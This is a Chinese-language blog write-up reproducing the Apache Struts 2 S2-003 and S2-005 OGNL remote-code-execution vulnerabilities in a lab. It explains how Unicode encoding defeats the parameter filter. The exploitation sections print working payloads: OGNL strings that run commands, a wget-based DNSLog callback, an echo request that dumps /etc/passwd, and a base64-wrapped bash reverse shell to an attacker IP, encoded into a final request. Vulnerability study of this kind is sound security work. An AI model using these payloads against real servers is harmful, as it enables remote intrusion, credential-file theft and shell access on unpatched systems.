Struts2-003与S2-005漏洞复现
本文最后更新于 2024-09-19,文章内容可能已经过时。
Struts 2 漏洞——S2-003、S2-005复现
一、基础知识
1.1 Struts 2 框架与 XWork
Struts 2 由 Struts 1 升级而得名,Struts 2 基于 Webwork2 的代码开发,完全摒弃 Struts 1 的设计思想及代码,并以 xwork
作为底层实现的核心,以 OGNL
作为浏览器与 java 对象数据流转沟通的语言,实现不同形式数据之间的转换与通信。下图为 Struts 2 接收客户端的 HTTP 请求处理后返回对应响应的过程:
前面提到 Struts 2 以 xwork 作为底层实现的核心,那么其体现在哪里呢?其实上图中自 ActionProxy 接收用户请求信息起,后续的处理就是交由 xwork 框架。
下图为 xwork 的宏观示意图:
上图的相关节点元素可分为负责请求响应的执行元素(控制流元素)以及进行请求响应所依赖的数据元素(数据流元素)。
控制流元素:
- Interceptor:拦截器,对 Action 的逻辑扩展。
- Action:核心处理类。
- Result:执行结果,负责对 Action 的响应进行逻辑跳转。
- ActionProxy :提供一个执行环境。
- ActionInvocation:组织调度 Action 、Interceptor 、Result 节点执行顺序的核心调度器。
数据流元素:
- ActionContext:提供了 xwork 进行事件处理过程中需要用到的框架对象(container、ValueStack、actionInvocation 等)以及数据对象(session、application、parameters 等)。
- ValueStack:主要对 OGNL 计算进行扩展,是进行数据访问、 OGNL 计算的场所。而在 xwork 中实现 ValueStack 的类就是 OgnlValueStack 。
2.1 OGNL 表达式
其实很多 Struts 2 的远程代码执行漏洞都是 Struts 2 框架执行了攻击者传入的 OGNL 表达式,所以为了了解这些漏洞,我们必须知道 OGNL 是什么,如何使用。
它是一种功能强大的表达式语言,通过它简单一致的表达式语法,可以存取对象的任意属性,调用对象的方法,遍历整个对象的结构图,实现字段类型转化等功能。它使用相同的表达式去存取对象的属性。Struts2框架使用OGNL作为默认的表达式语言,在JSP页面中,可以通过引入 Struts 标签库,在对应标签中通过 OGNL 表达式来获取调用对应的对象的属性。
2.1.1 OGNL 表达式主要元素
表达式(expression):表明了这次 ognl 解析要干什么。
root (根)对象: root 对象是一个栈结构,每 一次请求都会将请求的 action 压入 root 栈顶,所以在 url 中可以输入 action 中的属性进行赋值,在参数拦截器(ParametersInterceptor)中会从 root 栈中从栈顶到栈底依次找同名的属性名进行赋值。根可以为javabean、list、map等。
上下文环境(context):context 对象是一个 map 结构,其中 key 为对象的引用,value 为对象具体的存储信息。
2.1.2 OGNL 表达式用法
-
对 root 对象的访问:
name // 获取root对象中name属性的值 student.name // 获取root对象中student的name属性的值 student['name']、student["name"]
-
对 context 上下文环境的访问:
#id // 获取上下文环境中名为id对象的值 #school.name // 获取上下文环境中school对象中的name属性的值 #school['name']、#school["name"]
为了方便开发人员访问各种常用的对象,XWork提供了一些预定义的上下文变量:
#application #session #request #parameters #attr #context #_memberAccess #root #this
-
对静态变量 / 方法的访问:
@[class]@[field/method]
@java.lang.Math@PI // 访问java.lang.Math类中的静态变量PI @java.util.UUID@randomUUID() // 调用java.util.UUID类中的randomUUID()方法
-
方法调用:类似 java 方法调用
// 调用root对象中student中的setSchool()方法,并传入context中名为school的对象作为参数 student.setSchool(#school)
二、S2-003
2.1 漏洞简介
Struts 2 会将 HTTP 请求的每个参数名解析为OGNL表达式执行。OGNL 表达式通过“ # ”来访问 Struts 的对象,Struts 2 框架在 ParametersInterceptor 这个拦截器中通过过滤“ # ”字符防止此类安全问题,然而通过将“ # ”进行 unicode 编码(\u0023)或8进制(\43)可以绕过了安全限制,进行远程代码执行。
漏洞公告:https://cwiki.apache.org/confluence/display/WW/S2-003
影响版本:Struts 2.0.0 - Struts 2.1.8.1
2.2 漏洞复现及原理浅析
2.2.1 漏洞环境
嫌麻烦可以直接使用这个项目,根据文档来idea导入漏洞环境
struts2 所有漏洞环境源代码:https://github.com/kingkaki/Struts2-Vulenv
漏洞环境为jdk1.8 + Struts 2.0.11.2 + tomcat 6.0.9,相关文件下载地址如下:
Struts 2.0.11.2:http://archive.apache.org/dist/struts/binaries/struts-2.0.12-all.zip
tomcat 6.0.9:https://archive.apache.org/dist/tomcat/tomcat-6/v6.0.9/bin/apache-tomcat-6.0.9.zip
(s2-003漏洞的payload用到了特殊字符,在高版本tomcat中会失败,需要使用tomcat6来测试)
在IDEA上创建一个简单的 Strust 2项目S2-003,
目录结构如下:
这里我们仅仅是一个用于漏洞验证的项目,无需 Struts 2.0.11.2 中所有的 jar 包,只需上面图片中五个 jar 包即可。这里我们简单编写一个用于接收参数的 Action —— HelloAction, 通过这个action接收用于测试的POC触发漏洞。下面展示部分文件代码。
HelloAction.java:
public class HelloAction extends ActionSupport{
private String username = null;
public String getUsername() { return username; }
public void setUsername(String username) {
this.username = username;
}
public String execute() throws Exception {
return "success";
}
}
strust.xml:
<struts>
<package name="s2-003" extends="struts-default">
<action name="hello" class="com.demo.action.HelloAction">
<result name="success">index.jsp</result>
</action>
</package>
</struts>
部署完成后,启动tomcat,访问出现如下界面说明配置成功。
http://localhost:8080/S2_003_war_exploded/hello.action
2.2.2 复现过程
从前面我们知道 S2-003 ,会将 HTTP 请求的每个参数名解析为OGNL表达式执行,所以此处我们访问HelloAction时(http://localhost:8080/S2_003_war_exploded/hello.action?)加上下面的POC(弹出计算器):
('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003dfalse')(bla)(bla)&('\u0023myret\u003d@java.lang.Runtime@getRuntime().exec(\'calc\')')(bla)(bla)
bla可以替换成任意字符串,
本次漏洞是通过绕过 ParameterInterceptor 拦截器的过滤,进而执行 OGNL 表达式,所以我们首先查看ParameterInterceptor 中 doIntercept() 方法。在该方法中我们重点关注以下两步:
- 将 DENY_METHOD_EXECUTION 设置为 true, 这是为了防止攻击者在参数内调用方法。
- 这里会取出 HTTP 请求中的参数放于parameters 变量中,再通过 setParameters() 方法将我们传入的参数设置到值栈(ValueStack)中。
启动tomcat,在LoginAction的return SUCCESS打下断点,在页面中
找到class文件
\WEB-INF\lib\xwork-core-2.1.6.jar!\com\opensymphony\xwork2\interceptor\ParametersInterceptor.class
在图中两处打上断点,重启dubug,在登录页面中输入随机的用户名和密码,后进入断点
从上面我们可以知道因为 DENY_METHOD_EXECUTION 设置为 true,所以我们无法利用 OGNL 直接调用方法。但是初始化完成后 DENY_METHOD_EXECUTION 这个值是放在 context 中的,如下图,于是我们可以先通过 " #context[\'xwork.MethodAccessor.denyMethodExecution\']=false "
这个 OGNL 表达式将该属性值设置为 false,而后下一个 OGNL 表达式就可以进行方法调用了。
我们先进行后续步骤,在 setParameters() 方法中,会对传入的参数(parameters)进行循环遍历取出参数名,并调用 this.acceptableName() 方法判断参数名是否合法。该方法又会调用一些方法最终调用 acceptedPattern 进行正则匹配。
acceptableName(name) -> isAccepted(name) -> acceptedPattern.matcher(paramName).matches()
这里使用了java的正则,其中\p{Graph}
表示可见字符,[^,#:=]表示除了,#:=
这些字符以外的字符。该正则说明这里的参数不允许输入不可见字符以及 ,#:=
。
所以无法直接使用" #context[\'xwork.MethodAccessor.denyMethodExecution\']=false "
来进行利用,需要进行绕过,这里我们先往下。在校验完成后,若参数名合法,则调用 stack.setValue()
方法将所有参数存入值栈(ValueStack)中。
在 setValue() 方法,会如下依次调用对应的 setValue() 方法,最终会调 Ognl.setValue() ,此时会调 OgnlUtil 的 compile() 方法处理参数名。
stack.setValue() -> OgnlUtil.setValue() -> Ognl.setValue()
compile()
方法中,当参数名为表达式时,其会使用Ognl.parseExpression()
方法预处理这个表达式。这个方法后续还会调用其他的一系列方法,此处就不过多赘述。其中就调用了 JavaCharStream 的 readChar() 方法,此方法兼容 Unicode 编码,其会将 Unicode 编码的字符解码。
于是我们可以使用 Unicode 编码来绕过对 # 与 = 的限制,在 Ognl.setValue() 方法中会根据表达式的类型将其转成 Node 类型,并调用 Node 的 setValue() 方法进一步解析表达式。
在 OGNL 中,有一些不同类型的语法树(tree),这些在在解析表达式的过程中,根据表达式的不同将会使用不同的构造树来进行处理,比如如果表达式为 user.name,就会生成 ASTChain,因为采用了链式结构来访问 user 对象中的 name 属性。**而本次漏洞触发形式就在于 (one)(two) 这种表达形式,属于 ASTEval 类型。 Node 的 setValue() 方法最终会调用 ASTEval 的 setValueBody() 方法。**但此处Strust 2重写后 setValueBody() 方法。
- 取第一个节点,也就是 one,调用其 getValue() 方法计算表达式,放入 expr 中;
- 取第二个节点,也就是 two,赋值给 target ;
- 判断 expr 是否为 Node 类型,如果不是,则调用
Ognl.parseExpression()
尝试进行解析,解析的结果强转为 Node 类型; - 将 target 放入 root 中,又会调用 Node 的 setValue() 方法对其进行解析;
- 将调用 setRoot()方法,将root还原。
**注:**原本的 setValueBody()
方法,会在上述第四步,将 target 放入 root 后直接调用 node.getValue()
执行表达式,但重写后的方法是调用 setValue()
方法 ,这里会多出一个步骤,再取出节点并执行的步骤。
这里若我们要修改 DENY_METHOD_EXECUTION
的值,就需要多写一个 (three) ,那么表达式可以这么写:
('#context[\'xwork.MethodAccessor.denyMethodExecution\']=false')(bla)(bla)
由于表达式的执行是由右向左执行的,因此向右边写入更多个括号,其都会依次拆分,最后执行到 one 表达式中,下面的payload也是可以的。
('#context[\'xwork.MethodAccessor.denyMethodExecution\']=false')(bla)(bla)(bla)(bla)
而这里我们只是修改了 DENY_METHOD_EXECUTION 的值为false,为了继续执行命令,所以我们还需要再传入一个参数。
所以最终弹出计算器的 payload 就如下:
('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003dfalse')(bla)(bla)&('\u0023myret\u003d@java.lang.Runtime@getRuntime().exec(\'calc\')')(bla)(bla)
三、S2-005
3.1 漏洞简介
S2-005漏洞的起源于S2-003,对于S2-003漏洞,官方通过增加安全配置(禁止静态方法调用和类方法执行等)来修补,但是安全配置被绕过再次导致了漏洞,攻击者可以利用OGNL表达式将这两个选项打开,这样又可以使用 S2-003 漏洞进行利用。
漏洞公告:https://cwiki.apache.org/confluence/display/WW/S2-005
影响版本:Struts 2.0.0 - Struts 2.1.8.1
漏洞环境搭建:
根据文档来idea导入S2-005漏洞环境
struts2 所有漏洞环境源代码:https://github.com/kingkaki/Struts2-Vulenv
项目结构:
3.2 原理概述
S2-005漏洞是由于官方对 S2-003 漏洞修复不完全导致的,所以漏洞利用的基本原理一致。
启动tomcat,在LoginAction的return SUCCESS打下断点,在页面中
找到class文件
\WEB-INF\lib\xwork-core-2.1.6.jar!\com\opensymphony\xwork2\interceptor\ParametersInterceptor.class
重启dubug,在登录页面中输入随机的用户名和密码,后进入断点
在 ParametersInterceptor 的 setParameters() 方法,使用了 ValueStackFactory 为当前值栈重新初始化 ValueStack,不再使用原有的 ValueStack,并为其设置了相关属性,包括新增的 acceptParams
和 excludeParams
分别为接收访问的参数名白名单和黑名单。
新增了 MemberAccessValueStack 和 ClearableValueStack 接口,由 OgnlValueStack 实现,用来配置额外的属性和清除 context 中的内容,并为 OgnlValueStack 添加了新的 allowStaticMethodAccess 和 securityMemberAccess 属性,用来限制静态方法的调用。
其中 allowStaticMethodAccess 根据 S2-003 使用如下 paylaod 将这个属性设置为 true,允许静态方法调用。
('\u0023_memberAccess.allowStaticMethodAccess\u003dtrue')(bla)(bla)
但还有一个 securityMemberAccess 对象需要处理。在 OGNL 解析完表达式,试图调用方法时,会调用 MemberAccess 的 isAccessible() 方法来判断是否允许调用,而xwork 创建了 SecurityMemberAccess 对象继承自 DefaultMemberAccess 并重写了这个方法,因此,我们需要让这个方法返回 true,才能执行最终的方法。
isAccessible() 方法中会调用isAcceptableProperty()。
protected boolean isAcceptableProperty(String name) {
if (name == null) {
return true;
} else {
return this.isAccepted(name) && !this.isExcluded(name);
}
}
- isAccepted()方法作用判断参数名是否在白名单中,如果白名单为空,则返回 true;如果白名单不为空,则进行匹配,匹配到了就返回 true,匹配不到就返回 false;
- isExcluded()方法其作用为判断参数是否在黑名单中,如果匹配到了,则返回 true,如果没匹配到或黑名单为空,则返回 false。
所以当只有当 isAccepted() 返回 true,isExcluded() 返回 false 的情况下,才能调用方法。
isAccepted() 可以使用 Unicode 编码绕过,而要让 isExcluded() 方法返回 false ,我们就可以将 excludeProperties
设置为空集,绕开判断,其他不变。
于是我们要先将 xwork.MethodAccessor.denyMethodExecution 设置为 false,允许方法调用;而后设置 allowStaticMethodAccess 为 true ,允许调用静态方法;再将 excludeProperties 设置为空集,最终POC如下:
('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003dfalse')(bla)(bla)&('\u0023_memberAccess.allowStaticMethodAccess\u003dtrue')(bla)(bla)&('\u0023_memberAccess.excludeProperties\u003d@java.util.Collections@EMPTY_SET')(bla)(bla)&('\u0023myret\u003d@java.lang.Runtime@getRuntime().exec(\'calc\')')(bla)(bla)
其实最好的方式是黑白名单都为空,这样直接绕过判断,paylaod如下:
('\u0023_memberAccess.allowStaticMethodAccess\u003dtrue')(bla)(bla)&('\u0023_memberAccess.acceptProperties\u003d@java.util.Collections@EMPTY_SET')(bla)(bla)&('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003dfalse')(bla)(bla)&('\u0023_memberAccess.excludeProperties\u003d@java.util.Collections@EMPTY_SET')(bla)(bla)&('\u0023su26\u003d@java.lang.Runtime@getRuntime().exec(\'calc\')')(bla)(bla)
3.3 漏洞复现
3.3.1 漏洞环境
攻击机:kali (ip:192.168.91.129)
被攻击主机:docker环境部署(ip:192.168.91.128)
漏洞环境:
docker部署漏洞环境过程:
1.下载vulhub靶场文件(https://github.com/vulhub/vulhub)
2.解压后切换到指定目录,并使用docker-compose命令拉取docker环境并创建容器。
cd vulhub-master/struts2/s2-005/
docker-compose up -d
3.防火墙开放TCP的8080端口,而后访问8080端口,查看是否部署成功。
3.3.2 复现过程
这里我们直接使用 Vulhub 上的两个POC进行复现。
-
无回显POC,使用 DNSLog 进行验证
在 DNSLog 申请一个子域名 ,如kebfkg.dnslog.cn。使用如下POC,可将 kebfkg.dnslog.cn换成你申请的子域名。也可修改 wget@kebfkg.dnslog.cn 为其他命令,注 @ 用于代替空格。 若服务部署在tomcat8下,字符
\
、"
不能直接放path里,需要url编码。(%27%5cu0023_memberAccess[%5c%27allowStaticMethodAccess%5c%27]%27)(vaaa)=true&(aaaa)((%27%5cu0023context[%5c%27xwork.MethodAccessor.denyMethodExecution%5c%27]%5cu003d%5cu0023vccc%27)(%5cu0023vccc%5cu003dnew%20java.lang.Boolean(%22false%22)))&(asdf)(('%5cu0023rt.exec(%22wget@kebfkg.dnslog.cn%22.split(%22@%22))')(%5cu0023rt%5cu003d@java.lang.Runtime@getRuntime()))=1
刷新查看DNSLog解析记录,有查询记录说明,命令已执行。
-
有回显POC。
POST /example/HelloWorld.action HTTP/1.1 Host: 目标网站域名或ip:8080 Accept: application/x-shockwave-flash, image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */* Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; MAXTHON 2.0) Content-Length: 626 redirect:${%23req%3d%23context.get(%27co%27%2b%27m.open%27%2b%27symphony.xwo%27%2b%27rk2.disp%27%2b%27atcher.HttpSer%27%2b%27vletReq%27%2b%27uest%27),%23s%3dnew%20java.util.Scanner((new%20java.lang.ProcessBuilder(%27%63%61%74%20%2f%65%74%63%2f%70%61%73%73%77%64%27.toString().split(%27\\s%27))).start().getInputStream()).useDelimiter(%27\\AAAA%27),%23str%3d%23s.hasNext()?%23s.next():%27%27,%23resp%3d%23context.get(%27co%27%2b%27m.open%27%2b%27symphony.xwo%27%2b%27rk2.disp%27%2b%27atcher.HttpSer%27%2b%27vletRes%27%2b%27ponse%27),%23resp.setCharacterEncoding(%27UTF-8%27),%23resp.getWriter().println(%23str),%23resp.getWriter().flush(),%23resp.getWriter().close()}
访问HelloWorld.action,使用Brup抓包,修改请求方法为POST,在正文中添加上述POC,发送。结果如下,成功回显 /etc/passwd 的内容。
解码后的POC如下,若要执行其他命令,修改 cat /etc/passwd 为要执行的命令,而后再根据前面的POC将内容进行url编码即可:
redirect:${#req=#context.get('co'+'m.open'+'symphony.xwo'+'rk2.disp'+'atcher.HttpSer'+'vletReq'+'uest'),#s=new java.util.Scanner((new java.lang.ProcessBuilder('cat /etc/passwd'.toString().split('\\s'))).start().getInputStream()).useDelimiter('\\AAAA'),#str=#s.hasNext()?#s.next():'',#resp=#context.get('co'+'m.open'+'symphony.xwo'+'rk2.disp'+'atcher.HttpSer'+'vletRes'+'ponse'),#resp.setCharacterEncoding('UTF-8'),#resp.getWriter().println(#str),#resp.getWriter().flush(),#resp.getWriter().close()}
修改 cat /etc/passwd ,替换为反弹shell的命令:
bash -i >& /dev/tcp/192.168.91.129/4444 0>&1
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjkxLjEyOS80NDQ0IDA+JjE=}|{base64,-d}|{bash,-i}
redirect:${#req=#context.get('co'+'m.open'+'symphony.xwo'+'rk2.disp'+'atcher.HttpSer'+'vletReq'+'uest'),#s=new java.util.Scanner((new java.lang.ProcessBuilder('bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjkxLjEyOS80NDQ0IDA+JjE=}|{base64,-d}|{bash,-i}'.toString().split('\\s'))).start().getInputStream()).useDelimiter('\\AAAA'),#str=#s.hasNext()?#s.next():'',#resp=#context.get('co'+'m.open'+'symphony.xwo'+'rk2.disp'+'atcher.HttpSer'+'vletRes'+'ponse'),#resp.setCharacterEncoding('UTF-8'),#resp.getWriter().println(#str),#resp.getWriter().flush(),#resp.getWriter().close()}
最终构造的payload如下
redirect%3a${%23req%3d%23context.get('co'%2b'm.open'%2b'symphony.xwo'%2b'rk2.disp'%2b'atcher.HttpSer'%2b'vletReq'%2b'uest'),%23s%3dnew+java.util.Scanner((new+java.lang.ProcessBuilder('bash+-c+{echo,YmFzaCAtaSA%2bJiAvZGV2L3RjcC8xOTIuMTY4LjkxLjEyOS80NDQ0IDA%2bJjE%3d}|{base64,-d}|{bash,-i}'.toString().split('\\s'))).start().getInputStream()).useDelimiter('\\AAAA'),%23str%3d%23s.hasNext()%3f%23s.next()%3a'',%23resp%3d%23context.get('co'%2b'm.open'%2b'symphony.xwo'%2b'rk2.disp'%2b'atcher.HttpSer'%2b'vletRes'%2b'ponse'),%23resp.setCharacterEncoding('UTF-8'),%23resp.getWriter().println(%23str),%23resp.getWriter().flush(),%23resp.getWriter().close()}
burp添加后发送,
kali开启nc监听
四、修复建议
- 更新Struts 2至漏洞修复版本。
五、参考文章
- 【struts2 命令/代码执行漏洞分析系列】S2-003和S3-005(https://www.codercto.com/a/18507.html)。
- Struts2-005远程代码执行漏洞分析(https://www.jiwo.org/ken/detail.php?id=2265)。
- 从零带你看struts2中ognl命令执行漏洞(https://mp.weixin.qq.com/s?__biz=MzU5NDgxODU1MQ==&mid=2247493528&idx=1&sn=a312582f4797cdc357c08f7bee69dfb5&chksm=fe79c300c90e4a164c8e85d8d4b917f5c1d5bac0acda0b50efdd5b882689fbb04c815c6c6b34&scene=178&cur_album_id=1791937637906219012#rd)。
- struts2(六)之ognl表达式与ActionContext、ValueStack(https://cloud.tencent.com/developer/article/1024093)。
- Struts2:你说你好累,已无法再爱上谁(一)(https://su18.org/post/struts2-1/)。
- 感谢你赐予我前进的力量